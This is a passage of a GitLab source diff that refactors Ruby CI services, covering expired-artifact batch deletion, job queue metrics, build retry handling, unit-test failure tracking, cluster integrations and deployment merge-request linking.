+ end
+
+ def persist_artifact(artifact, artifact_metadata, params)
+ Ci::JobArtifact.transaction do
+ artifact.save!
+ artifact_metadata&.save!
+
+ # NOTE: The `artifacts_expire_at` column is already deprecated and to be removed in the near future.
+ job.update_column(:artifacts_expire_at, artifact.expire_at)
+ end
+
+ success
+ rescue ActiveRecord::RecordNotUnique => error
+ track_exception(error, params)
+ error('another artifact of the same type already exists', :bad_request)
+ rescue *OBJECT_STORAGE_ERRORS => error
+ track_exception(error, params)
+ error(error.message, :service_unavailable)
+ rescue => error
+ track_exception(error, params)
+ error(error.message, :bad_request)
+ end
+
+ def sha256_matches_existing_artifact?(artifact_type, artifacts_file)
+ existing_artifact = job.job_artifacts.find_by_file_type(artifact_type)
+ return false unless existing_artifact
+
+ existing_artifact.file_sha256 == artifacts_file.sha256
+ end
+
+ def track_exception(error, params)
+ Gitlab::ErrorTracking.track_exception(error,
+ job_id: job.id,
+ project_id: job.project_id,
+ uploading_type: params[:artifact_type]
+ )
+ end
+
+ def track_artifact_uploader(artifact)
+ return unless artifact.file_type == 'metrics'
+
+ track_usage_event(METRICS_REPORT_UPLOAD_EVENT_NAME, @job.user_id)
+ end
+
+ def parse_dotenv_artifact(artifact)
+ Ci::ParseDotenvArtifactService.new(project, current_user).execute(artifact)
+ end
+
+ def parse_cluster_applications_artifact(artifact)
+ Clusters::ParseClusterApplicationsArtifactService.new(job, job.user).execute(artifact)
+ end
+ end
+ end
+end
diff --git a/app/services/ci/job_artifacts/destroy_all_expired_service.rb b/app/services/ci/job_artifacts/destroy_all_expired_service.rb
new file mode 100644
index 00000000000..3e9cc95d135
--- /dev/null
+++ b/app/services/ci/job_artifacts/destroy_all_expired_service.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+module Ci
+ module JobArtifacts
+ class DestroyAllExpiredService
+ include ::Gitlab::ExclusiveLeaseHelpers
+ include ::Gitlab::LoopHelpers
+
+ BATCH_SIZE = 100
+ LOOP_TIMEOUT = 5.minutes
+ LOOP_LIMIT = 1000
+ EXCLUSIVE_LOCK_KEY = 'expired_job_artifacts:destroy:lock'
+ LOCK_TIMEOUT = 6.minutes
+
+ def initialize
+ @removed_artifacts_count = 0
+ end
+
+ ##
+ # Destroy expired job artifacts on GitLab instance
+ #
+ # This destroy process cannot run for more than 6 minutes. This is for
+ # preventing multiple `ExpireBuildArtifactsWorker` CRON jobs run concurrently,
+ # which is scheduled every 7 minutes.
+ def execute
+ in_lock(EXCLUSIVE_LOCK_KEY, ttl: LOCK_TIMEOUT, retries: 1) do
+ destroy_job_artifacts_with_slow_iteration(Time.current)
+ end
+
+ @removed_artifacts_count
+ end
+
+ private
+
+ def destroy_job_artifacts_with_slow_iteration(start_at)
+ Ci::JobArtifact.expired_before(start_at).each_batch(of: BATCH_SIZE, column: :expire_at, order: :desc) do |relation, index|
+ # For performance reasons, join with ci_pipelines after the batch is queried.
+ # See: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47496
+ artifacts = relation.unlocked
+
+ service_response = destroy_batch_async(artifacts)
+ @removed_artifacts_count += service_response[:destroyed_artifacts_count]
+
+ break if loop_timeout?(start_at)
+ break if index >= LOOP_LIMIT
+ end
+ end
+
+ def destroy_batch_async(artifacts)
+ Ci::JobArtifacts::DestroyBatchService.new(artifacts).execute
+ end
+
+ def loop_timeout?(start_at)
+ Time.current > start_at + LOOP_TIMEOUT
+ end
+ end
+ end
+end
diff --git a/app/services/ci/job_artifacts/destroy_batch_service.rb b/app/services/ci/job_artifacts/destroy_batch_service.rb
new file mode 100644
index 00000000000..95315dd11ec
--- /dev/null
+++ b/app/services/ci/job_artifacts/destroy_batch_service.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+module Ci
+ module JobArtifacts
+ class DestroyBatchService
+ include BaseServiceUtility
+ include ::Gitlab::Utils::StrongMemoize
+
+ # Danger: Private - Should only be called in Ci Services that pass a batch of job artifacts
+ # Not for use outside of the Ci:: namespace
+
+ # Adds the passed batch of job artifacts to the `ci_deleted_objects` table
+ # for asyncronous destruction of the objects in Object Storage via the `Ci::DeleteObjectsService`
+ # and then deletes the batch of related `ci_job_artifacts` records.
+ # Params:
+ # +job_artifacts+:: A relation of job artifacts to destroy (fewer than MAX_JOB_ARTIFACT_BATCH_SIZE)
+ # +pick_up_at+:: When to pick up for deletion of files
+ # Returns:
+ # +Hash+:: A hash with status and destroyed_artifacts_count keys
+ def initialize(job_artifacts, pick_up_at: nil)
+ @job_artifacts = job_artifacts.with_destroy_preloads.to_a
+ @pick_up_at = pick_up_at
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def execute
+ return success(destroyed_artifacts_count: artifacts_count) if @job_artifacts.empty?
+
+ Ci::DeletedObject.transaction do
+ Ci::DeletedObject.bulk_import(@job_artifacts, @pick_up_at)
+ Ci::JobArtifact.id_in(@job_artifacts.map(&:id)).delete_all
+ destroy_related_records(@job_artifacts)
+ end
+
+ # This is executed outside of the transaction because it depends on Redis
+ update_project_statistics
+ increment_monitoring_statistics(artifacts_count)
+
+ success(destroyed_artifacts_count: artifacts_count)
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ private
+
+ # This method is implemented in EE and it must do only database work
+ def destroy_related_records(artifacts); end
+
+ def update_project_statistics
+ artifacts_by_project = @job_artifacts.group_by(&:project)
+ artifacts_by_project.each do |project, artifacts|
+ delta = -artifacts.sum { |artifact| artifact.size.to_i }
+ ProjectStatistics.increment_statistic(
+ project, Ci::JobArtifact.project_statistics_name, delta)
+ end
+ end
+
+ def increment_monitoring_statistics(size)
+ metrics.increment_destroyed_artifacts(size)
+ end
+
+ def metrics
+ @metrics ||= ::Gitlab::Ci::Artifacts::Metrics.new
+ end
+
+ def artifacts_count
+ strong_memoize(:artifacts_count) do
+ @job_artifacts.count
+ end
+ end
+ end
+ end
+end
+
+Ci::JobArtifacts::DestroyBatchService.prepend_if_ee('EE::Ci::JobArtifacts::DestroyBatchService')
diff --git a/app/services/ci/job_artifacts_destroy_batch_service.rb b/app/services/ci/job_artifacts_destroy_batch_service.rb
deleted file mode 100644
index f8ece27fe86..00000000000
--- a/app/services/ci/job_artifacts_destroy_batch_service.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- class JobArtifactsDestroyBatchService
- include BaseServiceUtility
- include ::Gitlab::Utils::StrongMemoize
-
- # Danger: Private - Should only be called in Ci Services that pass a batch of job artifacts
- # Not for use outsie of the ci namespace
-
- # Adds the passed batch of job artifacts to the `ci_deleted_objects` table
- # for asyncronous destruction of the objects in Object Storage via the `Ci::DeleteObjectsService`
- # and then deletes the batch of related `ci_job_artifacts` records.
- # Params:
- # +job_artifacts+:: A relation of job artifacts to destroy (fewer than MAX_JOB_ARTIFACT_BATCH_SIZE)
- # +pick_up_at+:: When to pick up for deletion of files
- # Returns:
- # +Hash+:: A hash with status and destroyed_artifacts_count keys
- def initialize(job_artifacts, pick_up_at: nil)
- @job_artifacts = job_artifacts.with_destroy_preloads.to_a
- @pick_up_at = pick_up_at
- end
-
- # rubocop: disable CodeReuse/ActiveRecord
- def execute
- return success(destroyed_artifacts_count: artifacts_count) if @job_artifacts.empty?
-
- Ci::DeletedObject.transaction do
- Ci::DeletedObject.bulk_import(@job_artifacts, @pick_up_at)
- Ci::JobArtifact.id_in(@job_artifacts.map(&:id)).delete_all
- destroy_related_records(@job_artifacts)
- end
-
- # This is executed outside of the transaction because it depends on Redis
- update_project_statistics
- increment_monitoring_statistics(artifacts_count)
-
- success(destroyed_artifacts_count: artifacts_count)
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
- private
-
- # This method is implemented in EE and it must do only database work
- def destroy_related_records(artifacts); end
-
- def update_project_statistics
- artifacts_by_project = @job_artifacts.group_by(&:project)
- artifacts_by_project.each do |project, artifacts|
- delta = -artifacts.sum { |artifact| artifact.size.to_i }
- ProjectStatistics.increment_statistic(
- project, Ci::JobArtifact.project_statistics_name, delta)
- end
- end
-
- def increment_monitoring_statistics(size)
- metrics.increment_destroyed_artifacts(size)
- end
-
- def metrics
- @metrics ||= ::Gitlab::Ci::Artifacts::Metrics.new
- end
-
- def artifacts_count
- strong_memoize(:artifacts_count) do
- @job_artifacts.count
- end
- end
- end
-end
-
-Ci::JobArtifactsDestroyBatchService.prepend_if_ee('EE::Ci::JobArtifactsDestroyBatchService')
diff --git a/app/services/ci/pipeline_artifacts/destroy_all_expired_service.rb b/app/services/ci/pipeline_artifacts/destroy_all_expired_service.rb
new file mode 100644
index 00000000000..fed40aef697
--- /dev/null
+++ b/app/services/ci/pipeline_artifacts/destroy_all_expired_service.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+module Ci
+ module PipelineArtifacts
+ class DestroyAllExpiredService
+ include ::Gitlab::LoopHelpers
+ include ::Gitlab::Utils::StrongMemoize
+
+ BATCH_SIZE = 100
+ LOOP_TIMEOUT = 5.minutes
+ LOOP_LIMIT = 1000
+
+ def initialize
+ @removed_artifacts_count = 0
+ end
+
+ def execute
+ loop_until(timeout: LOOP_TIMEOUT, limit: LOOP_LIMIT) do
+ destroy_artifacts_batch
+ end
+
+ @removed_artifacts_count
+ end
+
+ private
+
+ def destroy_artifacts_batch
+ artifacts = ::Ci::PipelineArtifact.expired(BATCH_SIZE).to_a
+ return false if artifacts.empty?
+
+ artifacts.each(&:destroy!)
+ increment_stats(artifacts.size)
+
+ true
+ end
+
+ def increment_stats(size)
+ destroyed_artifacts_counter.increment({}, size)
+ @removed_artifacts_count += size
+ end
+
+ def destroyed_artifacts_counter
+ strong_memoize(:destroyed_artifacts_counter) do
+ name = :destroyed_pipeline_artifacts_count_total
+ comment = 'Counter of destroyed expired pipeline artifacts'
+
+ ::Gitlab::Metrics.counter(name, comment)
+ end
+ end
+ end
+ end
+end
diff --git a/app/services/ci/pipeline_artifacts/destroy_expired_artifacts_service.rb b/app/services/ci/pipeline_artifacts/destroy_expired_artifacts_service.rb
deleted file mode 100644
index 0dbabe178da..00000000000
--- a/app/services/ci/pipeline_artifacts/destroy_expired_artifacts_service.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- module PipelineArtifacts
- class DestroyExpiredArtifactsService
- include ::Gitlab::LoopHelpers
- include ::Gitlab::Utils::StrongMemoize
-
- BATCH_SIZE = 100
- LOOP_TIMEOUT = 5.minutes
- LOOP_LIMIT = 1000
-
- def initialize
- @removed_artifacts_count = 0
- end
-
- def execute
- loop_until(timeout: LOOP_TIMEOUT, limit: LOOP_LIMIT) do
- destroy_artifacts_batch
- end
-
- @removed_artifacts_count
- end
-
- private
-
- def destroy_artifacts_batch
- artifacts = ::Ci::PipelineArtifact.expired(BATCH_SIZE).to_a
- return false if artifacts.empty?
-
- artifacts.each(&:destroy!)
- increment_stats(artifacts.size)
-
- true
- end
-
- def increment_stats(size)
- destroyed_artifacts_counter.increment({}, size)
- @removed_artifacts_count += size
- end
-
- def destroyed_artifacts_counter
- strong_memoize(:destroyed_artifacts_counter) do
- name = :destroyed_pipeline_artifacts_count_total
- comment = 'Counter of destroyed expired pipeline artifacts'
-
- ::Gitlab::Metrics.counter(name, comment)
- end
- end
- end
- end
-end
diff --git a/app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb b/app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb
index 35818e2cf3d..883a70c9795 100644
--- a/app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb
+++ b/app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb
@@ -91,17 +91,17 @@ module Ci
def all_statuses_by_id
strong_memoize(:all_statuses_by_id) do
- all_statuses.map do |row|
+ all_statuses.to_h do |row|
[row[:id], row]
- end.to_h
+ end
end
end
def all_statuses_by_name
strong_memoize(:statuses_by_name) do
- all_statuses.map do |row|
+ all_statuses.to_h do |row|
[row[:name], row]
- end.to_h
+ end
end
end
diff --git a/app/services/ci/pipeline_trigger_service.rb b/app/services/ci/pipeline_trigger_service.rb
index dbbaefb2b2f..a5f70d62e13 100644
--- a/app/services/ci/pipeline_trigger_service.rb
+++ b/app/services/ci/pipeline_trigger_service.rb
@@ -6,8 +6,10 @@ module Ci
def execute
if trigger_from_token
+ set_application_context_from_trigger(trigger_from_token)
create_pipeline_from_trigger(trigger_from_token)
elsif job_from_token
+ set_application_context_from_job(job_from_token)
create_pipeline_from_job(job_from_token)
end
@@ -73,11 +75,7 @@ module Ci
end
def variables
- if ::Feature.enabled?(:ci_trigger_payload_into_pipeline, project, default_enabled: :yaml)
- param_variables + [payload_variable]
- else
- param_variables
- end
+ param_variables + [payload_variable]
end
def param_variables
@@ -91,5 +89,20 @@ module Ci
value: params.except(*PAYLOAD_VARIABLE_HIDDEN_PARAMS).to_json,
variable_type: :file }
end
+
+ def set_application_context_from_trigger(trigger)
+ Gitlab::ApplicationContext.push(
+ user: trigger.owner,
+ project: trigger.project
+ )
+ end
+
+ def set_application_context_from_job(job)
+ Gitlab::ApplicationContext.push(
+ user: job.user,
+ project: job.project,
+ runner: job.runner
+ )
+ end
end
end
diff --git a/app/services/ci/play_bridge_service.rb b/app/services/ci/play_bridge_service.rb
index 70c4a8e6136..c5b19a3963a 100644
--- a/app/services/ci/play_bridge_service.rb
+++ b/app/services/ci/play_bridge_service.rb
@@ -8,6 +8,10 @@ module Ci
bridge.tap do |bridge|
bridge.user = current_user
bridge.enqueue!
+
+ next unless ::Feature.enabled?(:ci_fix_pipeline_status_for_dag_needs_manual, project, default_enabled: :yaml)
+
+ AfterRequeueJobService.new(project, current_user).execute(bridge)
end
end
end
diff --git a/app/services/ci/play_build_service.rb b/app/services/ci/play_build_service.rb
index ebc980a9053..4953b1ea5fc 100644
--- a/app/services/ci/play_build_service.rb
+++ b/app/services/ci/play_build_service.rb
@@ -12,7 +12,13 @@ module Ci
# Try to enqueue the build, otherwise create a duplicate.
#
if build.enqueue
- build.tap { |action| action.update(user: current_user, job_variables_attributes: job_variables_attributes || []) }
+ build.tap do |build|
+ build.update(user: current_user, job_variables_attributes: job_variables_attributes || [])
+
+ next unless ::Feature.enabled?(:ci_fix_pipeline_status_for_dag_needs_manual, project, default_enabled: :yaml)
+
+ AfterRequeueJobService.new(project, current_user).execute(build)
+ end
else
Ci::Build.retry(build, current_user)
end
diff --git a/app/services/ci/process_build_service.rb b/app/services/ci/process_build_service.rb
index 733aa75f255..73cf3308fe7 100644
--- a/app/services/ci/process_build_service.rb
+++ b/app/services/ci/process_build_service.rb
@@ -26,14 +26,6 @@ module Ci
end
def valid_statuses_for_build(build)
- if ::Feature.enabled?(:skip_dag_manual_and_delayed_jobs, build.project, default_enabled: :yaml)
- current_valid_statuses_for_build(build)
- else
- legacy_valid_statuses_for_build(build)
- end
- end
-
- def current_valid_statuses_for_build(build)
case build.when
when 'on_success', 'manual', 'delayed'
build.scheduling_type_dag? ? %w[success] : %w[success skipped]
@@ -45,23 +37,6 @@ module Ci
[]
end
end
-
- def legacy_valid_statuses_for_build(build)
- case build.when
- when 'on_success'
- build.scheduling_type_dag? ? %w[success] : %w[success skipped]
- when 'on_failure'
- %w[failed]
- when 'always'
- %w[success failed skipped]
- when 'manual'
- %w[success skipped]
- when 'delayed'
- %w[success skipped]
- else
- []
- end
- end
end
end
diff --git a/app/services/ci/process_pipeline_service.rb b/app/services/ci/process_pipeline_service.rb
index 970652b4da3..6c69df0c616 100644
--- a/app/services/ci/process_pipeline_service.rb
+++ b/app/services/ci/process_pipeline_service.rb
@@ -19,7 +19,7 @@ module Ci
end
def metrics
- @metrics ||= ::Gitlab::Ci::Pipeline::Metrics.new
+ @metrics ||= ::Gitlab::Ci::Pipeline::Metrics
end
private
diff --git a/app/services/ci/register_job_service.rb b/app/services/ci/register_job_service.rb
index ed9e44d60f1..90341b26fd6 100644
--- a/app/services/ci/register_job_service.rb
+++ b/app/services/ci/register_job_service.rb
@@ -10,7 +10,11 @@ module Ci
Result = Struct.new(:build, :build_json, :valid?)
- MAX_QUEUE_DEPTH = 50
+ ##
+ # The queue depth limit number has been determined by observing 95
+ # percentile of effective queue depth on gitlab.com. This is only likely to
+ # affect 5% of the worst case scenarios.
+ MAX_QUEUE_DEPTH = 45
def initialize(runner)
@runner = runner
@@ -20,7 +24,7 @@ module Ci
def execute(params = {})
@metrics.increment_queue_operation(:queue_attempt)
- @metrics.observe_queue_time do
+ @metrics.observe_queue_time(:process, @runner.runner_type) do
process_queue(params)
end
end
@@ -105,22 +109,30 @@ module Ci
builds = builds.queued_before(params[:job_age].seconds.ago)
end
- if Feature.enabled?(:ci_register_job_service_one_by_one, runner)
- build_ids = builds.pluck(:id)
+ if Feature.enabled?(:ci_register_job_service_one_by_one, runner, default_enabled: true)
+ build_ids = retrieve_queue(-> { builds.pluck(:id) })
- @metrics.observe_queue_size(-> { build_ids.size })
+ @metrics.observe_queue_size(-> { build_ids.size }, @runner.runner_type)
build_ids.each do |build_id|
yield Ci::Build.find(build_id)
end
else
- @metrics.observe_queue_size(-> { builds.to_a.size })
+ builds_array = retrieve_queue(-> { builds.to_a })
- builds.each(&blk)
+ @metrics.observe_queue_size(-> { builds_array.size }, @runner.runner_type)
+
+ builds_array.each(&blk)
end
end
# rubocop: enable CodeReuse/ActiveRecord
+ def retrieve_queue(queue_query_proc)
+ @metrics.observe_queue_time(:retrieve, @runner.runner_type) do
+ queue_query_proc.call
+ end
+ end
+
def process_build(build, params)
unless build.pending?
@metrics.increment_queue_operation(:build_not_pending)
@@ -171,7 +183,7 @@ module Ci
def max_queue_depth
@max_queue_depth ||= begin
- if Feature.enabled?(:gitlab_ci_builds_queue_limit, runner, default_enabled: false)
+ if Feature.enabled?(:gitlab_ci_builds_queue_limit, runner, default_enabled: true)
MAX_QUEUE_DEPTH
else
::Gitlab::Database::MAX_INT_VALUE
@@ -266,7 +278,7 @@ module Ci
# Workaround for weird Rails bug, that makes `runner.groups.to_sql` to return `runner_id = NULL`
groups = ::Group.joins(:runner_namespaces).merge(runner.runner_namespaces)
- hierarchy_groups = Gitlab::ObjectHierarchy.new(groups).base_and_descendants
+ hierarchy_groups = Gitlab::ObjectHierarchy.new(groups, options: { use_distinct: Feature.enabled?(:use_distinct_in_register_job_object_hierarchy) }).base_and_descendants
projects = Project.where(namespace_id: hierarchy_groups)
.with_group_runners_enabled
.with_builds_enabled
diff --git a/app/services/ci/retry_build_service.rb b/app/services/ci/retry_build_service.rb
index b2c5249a0c7..e3de7f43fda 100644
--- a/app/services/ci/retry_build_service.rb
+++ b/app/services/ci/retry_build_service.rb
@@ -2,8 +2,6 @@
module Ci
class RetryBuildService < ::BaseService
- include Gitlab::OptimisticLocking
-
def self.clone_accessors
%i[pipeline project ref tag options name
allow_failure stage stage_id stage_idx trigger_request
@@ -16,12 +14,10 @@ module Ci
build.ensure_scheduling_type!
reprocess!(build).tap do |new_build|
- mark_subsequent_stages_as_processable(build)
- build.pipeline.reset_ancestor_bridges!
-
Gitlab::OptimisticLocking.retry_lock(new_build, name: 'retry_build', &:enqueue)
+ AfterRequeueJobService.new(project, current_user).execute(build)
- MergeRequests::AddTodoWhenBuildFailsService
+ ::MergeRequests::AddTodoWhenBuildFailsService
.new(project, current_user)
.close(new_build)
end
@@ -33,9 +29,9 @@ module Ci
raise Gitlab::Access::AccessDeniedError
end
- attributes = self.class.clone_accessors.map do |attribute|
+ attributes = self.class.clone_accessors.to_h do |attribute|
[attribute, build.public_send(attribute)] # rubocop:disable GitlabSecurity/PublicSend
- end.to_h
+ end
attributes[:user] = current_user
@@ -65,12 +61,6 @@ module Ci
end
build
end
-
- def mark_subsequent_stages_as_processable(build)
- build.pipeline.processables.skipped.after_stage(build.stage_idx).find_each do |skipped|
- retry_optimistic_lock(skipped, name: 'ci_retry_build_mark_subsequent_stages') { |build| build.process(current_user) }
- end
- end
end
end
diff --git a/app/services/ci/retry_pipeline_service.rb b/app/services/ci/retry_pipeline_service.rb
index 90ee7b9b3ba..bb8590a769c 100644
--- a/app/services/ci/retry_pipeline_service.rb
+++ b/app/services/ci/retry_pipeline_service.rb
@@ -28,7 +28,7 @@ module Ci
pipeline.reset_ancestor_bridges!
- MergeRequests::AddTodoWhenBuildFailsService
+ ::MergeRequests::AddTodoWhenBuildFailsService
.new(project, current_user)
.close_all(pipeline)
diff --git a/app/services/ci/stop_environments_service.rb b/app/services/ci/stop_environments_service.rb
index b6c5b398cb1..81457130fa0 100644
--- a/app/services/ci/stop_environments_service.rb
+++ b/app/services/ci/stop_environments_service.rb
@@ -35,7 +35,7 @@ module Ci
private
def environments
- @environments ||= EnvironmentsFinder
+ @environments ||= EnvironmentsByDeploymentsFinder
.new(project, current_user, ref: @ref, recently_updated: true)
.execute
end
diff --git a/app/services/ci/test_failure_history_service.rb b/app/services/ci/test_failure_history_service.rb
index 61fda79a4a2..58bbc716ff0 100644
--- a/app/services/ci/test_failure_history_service.rb
+++ b/app/services/ci/test_failure_history_service.rb
@@ -34,7 +34,7 @@ module Ci
# We fetch for up to MAX_TRACKABLE_FAILURES + 1 builds. So if ever we get
# 201 total number of builds with the assumption that each job has at least
- # 1 failed test case, then we have at least 201 failed test cases which exceeds
+ # 1 failed unit test, then we have at least 201 failed unit tests which exceeds
# the MAX_TRACKABLE_FAILURES of 200. If this is the case, let's early exit so we
# don't have to parse each JUnit report of each of the 201 builds.
failed_builds.length <= MAX_TRACKABLE_FAILURES
@@ -51,25 +51,29 @@ module Ci
end
def track_failures
- failed_test_cases = gather_failed_test_cases(failed_builds)
+ failed_unit_tests = gather_failed_unit_tests_from_reports(failed_builds)
- return if failed_test_cases.size > MAX_TRACKABLE_FAILURES
+ return if failed_unit_tests.size > MAX_TRACKABLE_FAILURES
- failed_test_cases.keys.each_slice(100) do |key_hashes|
- Ci::TestCase.transaction do
- ci_test_cases = Ci::TestCase.find_or_create_by_batch(project, key_hashes)
- failures = test_case_failures(ci_test_cases, failed_test_cases)
+ failed_unit_tests.each_slice(100) do |batch|
+ Ci::UnitTest.transaction do
+ unit_test_attrs = ci_unit_test_attrs(batch)
+ ci_unit_tests = Ci::UnitTest.find_or_create_by_batch(project, unit_test_attrs)
- Ci::TestCaseFailure.insert_all(failures)
+ failures = ci_unit_test_failure_attrs(ci_unit_tests, failed_unit_tests)
+ Ci::UnitTestFailure.insert_all(failures)
end
end
end
- def gather_failed_test_cases(failed_builds)
- failed_builds.each_with_object({}) do |build, failed_test_cases|
+ def gather_failed_unit_tests_from_reports(failed_builds)
+ failed_builds.each_with_object({}) do |build, failed_unit_tests|
test_suite = generate_test_suite!(build)
- test_suite.failed.keys.each do |key|
- failed_test_cases[key] = build
+ test_suite.failed.each do |key, unit_test|
+ failed_unit_tests[key] = {
+ build: build, # This will be used in ci_unit_test_failure_attrs
+ unit_test: unit_test # This will be used in ci_unit_test_attrs
+ }
end
end
end
@@ -79,12 +83,24 @@ module Ci
build.collect_test_reports!(Gitlab::Ci::Reports::TestReports.new)
end
- def test_case_failures(ci_test_cases, failed_test_cases)
- ci_test_cases.map do |test_case|
- build = failed_test_cases[test_case.key_hash]
+ def ci_unit_test_attrs(batch)
+ batch.map do |item|
+ unit_test = item.last[:unit_test]
{
- test_case_id: test_case.id,
+ key_hash: unit_test.key,
+ name: unit_test.name,
+ suite_name: unit_test.suite_name
+ }
+ end
+ end
+
+ def ci_unit_test_failure_attrs(ci_unit_tests, failed_unit_tests)
+ ci_unit_tests.map do |ci_unit_test|
+ build = failed_unit_tests[ci_unit_test.key_hash][:build]
+
+ {
+ unit_test_id: ci_unit_test.id,
build_id: build.id,
failed_at: build.finished_at
}
diff --git a/app/services/clusters/create_service.rb b/app/services/clusters/create_service.rb
index 6693a58683f..cb2de8b943c 100644
--- a/app/services/clusters/create_service.rb
+++ b/app/services/clusters/create_service.rb
@@ -5,7 +5,8 @@ module Clusters
attr_reader :current_user, :params
def initialize(user = nil, params = {})
- @current_user, @params = user, params.dup
+ @current_user = user
+ @params = params.dup
end
def execute(access_token: nil)
diff --git a/app/services/clusters/destroy_service.rb b/app/services/clusters/destroy_service.rb
index a8de04683fa..371f947add7 100644
--- a/app/services/clusters/destroy_service.rb
+++ b/app/services/clusters/destroy_service.rb
@@ -5,7 +5,8 @@ module Clusters
attr_reader :current_user, :params
def initialize(user = nil, params = {})
- @current_user, @params = user, params.dup
+ @current_user = user
+ @params = params.dup
@response = {}
end
diff --git a/app/services/clusters/integrations/create_service.rb b/app/services/clusters/integrations/create_service.rb
new file mode 100644
index 00000000000..f9e9dd3e457
--- /dev/null
+++ b/app/services/clusters/integrations/create_service.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module Clusters
+ module Integrations
+ class CreateService < BaseContainerService
+ attr_accessor :cluster
+
+ def initialize(container:, cluster:, current_user: nil, params: {})
+ @cluster = cluster
+
+ super(container: container, current_user: current_user, params: params)
+ end
+
+ def execute
+ return ServiceResponse.error(message: 'Unauthorized') unless authorized?
+
+ integration.enabled = params[:enabled]
+ integration.save!
+
+ if integration.enabled?
+ ServiceResponse.success(message: s_('ClusterIntegration|Integration enabled'), payload: { integration: integration })
+ else
+ ServiceResponse.success(message: s_('ClusterIntegration|Integration disabled'), payload: { integration: integration })
+ end
+ end
+
+ private
+
+ def integration
+ case params[:application_type]
+ when 'prometheus'
+ cluster.find_or_build_integration_prometheus
+ else
+ raise ArgumentError, "invalid application_type: #{params[:application_type]}"
+ end
+ end
+
+ def authorized?
+ Ability.allowed?(current_user, :admin_cluster, cluster)
+ end
+ end
+ end
+end
diff --git a/app/services/clusters/update_service.rb b/app/services/clusters/update_service.rb
index ba20826848d..5432d9fbca1 100644
--- a/app/services/clusters/update_service.rb
+++ b/app/services/clusters/update_service.rb
@@ -5,7 +5,8 @@ module Clusters
attr_reader :current_user, :params
def initialize(user = nil, params = {})
- @current_user, @params = user, params.dup
+ @current_user = user
+ @params = params.dup
end
def execute(cluster)
diff --git a/app/services/concerns/integrations/project_test_data.rb b/app/services/concerns/integrations/project_test_data.rb
index 57bcba98b49..5968b90f8fe 100644
--- a/app/services/concerns/integrations/project_test_data.rb
+++ b/app/services/concerns/integrations/project_test_data.rb
@@ -9,7 +9,7 @@ module Integrations
end
def note_events_data
- note = NotesFinder.new(current_user, project: project, target: project).execute.reorder(nil).last # rubocop: disable CodeReuse/ActiveRecord
+ note = NotesFinder.new(current_user, project: project, target: project, sort: 'id_desc').execute.first
return { error: s_('TestHooks|Ensure the project has notes.') } unless note.present?
diff --git a/app/services/concerns/suggestible.rb b/app/services/concerns/suggestible.rb
index 0cba9bf1b8a..82e43c856f8 100644
--- a/app/services/concerns/suggestible.rb
+++ b/app/services/concerns/suggestible.rb
@@ -5,7 +5,7 @@ module Suggestible
include Gitlab::Utils::StrongMemoize
# This translates into limiting suggestion changes to `suggestion:-100+100`.
- MAX_LINES_CONTEXT = 100.freeze
+ MAX_LINES_CONTEXT = 100
def diff_lines
strong_memoize(:diff_lines) do
diff --git a/app/services/deployments/link_merge_requests_service.rb b/app/services/deployments/link_merge_requests_service.rb
index eba5082e6c3..39fbef5dee2 100644
--- a/app/services/deployments/link_merge_requests_service.rb
+++ b/app/services/deployments/link_merge_requests_service.rb
@@ -18,7 +18,22 @@ module Deployments
# app deployments, as this is not useful.
return if deployment.environment.environment_type
- if (prev = deployment.previous_environment_deployment)
+ # This service is triggered by a Sidekiq worker, which only runs when a
+ # deployment is successful. We add an extra check here in case we ever
+ # call this service elsewhere and forget to check the status there.
+ #
+ # The reason we only want to link successful deployments is as follows:
+ # when we link a merge request, we don't link it to future deployments for
+ # the same environment. If we were to link an MR to a failed deploy, we
+ # wouldn't be able to later on link it to a successful deploy (e.g. after
+ # the deploy is retried).
+ #
+ # In addition, showing failed deploys in the UI of a merge request isn't
+ # useful to users, as they can't act upon the information in any
+ # meaningful way (i.e. they can't just retry the deploy themselves).
+ return unless deployment.success?
+
+ if (prev = deployment.previous_deployment)
link_merge_requests_for_range(prev.sha, deployment.sha)
else
# When no previous deployment is found we fall back to linking all merge
@@ -51,8 +66,15 @@ module Deployments
deployment.link_merge_requests(merge_requests)
- picked_merge_requests =
- project.merge_requests.by_cherry_pick_sha(slice)
+ # The cherry picked commits are tracked via `notes.commit_id`
+ # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22209
+ #
+ # NOTE: cross-joining `merge_requests` table and `notes` table could
+ # result in very poor performance because PG planner often uses an
+ # inappropriate index.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/321032.
+ mr_ids = project.notes.cherry_picked_merge_requests(slice)
+ picked_merge_requests = project.merge_requests.id_in(mr_ids)
deployment.link_merge_requests(picked_merge_requests)
end
diff --git a/app/services/draft_notes/base_service.rb b/app/services/draft_notes/base_service.rb
index 95c291ea800..66f9e04ef24 100644
--- a/app/services/draft_notes/base_service.rb
+++ b/app/services/draft_notes/base_service.rb
@@ -5,7 +5,9 @@ module DraftNotes
attr_accessor :merge_request, :current_user, :params
def initialize(merge_request, current_user, params = nil)
- @merge_request, @current_user, @params = merge_request, current_user, params.dup
+ @merge_request = merge_request
+ @current_user = current_user
+ @params = params.dup
end
def merge_request_activity_counter
diff --git a/app/services/git/wiki_push_service.rb b/app/services/git/wiki_push_service.rb
index 0905b2d98df..82958abfe6e 100644
--- a/app/services/git/wiki_push_service.rb
+++ b/app/services/git/wiki_push_service.rb
@@ -8,7 +8,9 @@ module Git
attr_reader :wiki
def initialize(wiki, current_user, params)
- @wiki, @current_user, @params = wiki, current_user, params.dup
+ @wiki = wiki
+ @current_user = current_user
+ @params = params.dup
end
def execute
diff --git a/app/services/git/wiki_push_service/change.rb b/app/services/git/wiki_push_service/change.rb
index 3d1d0fe8c4e..9109a7f9d58 100644
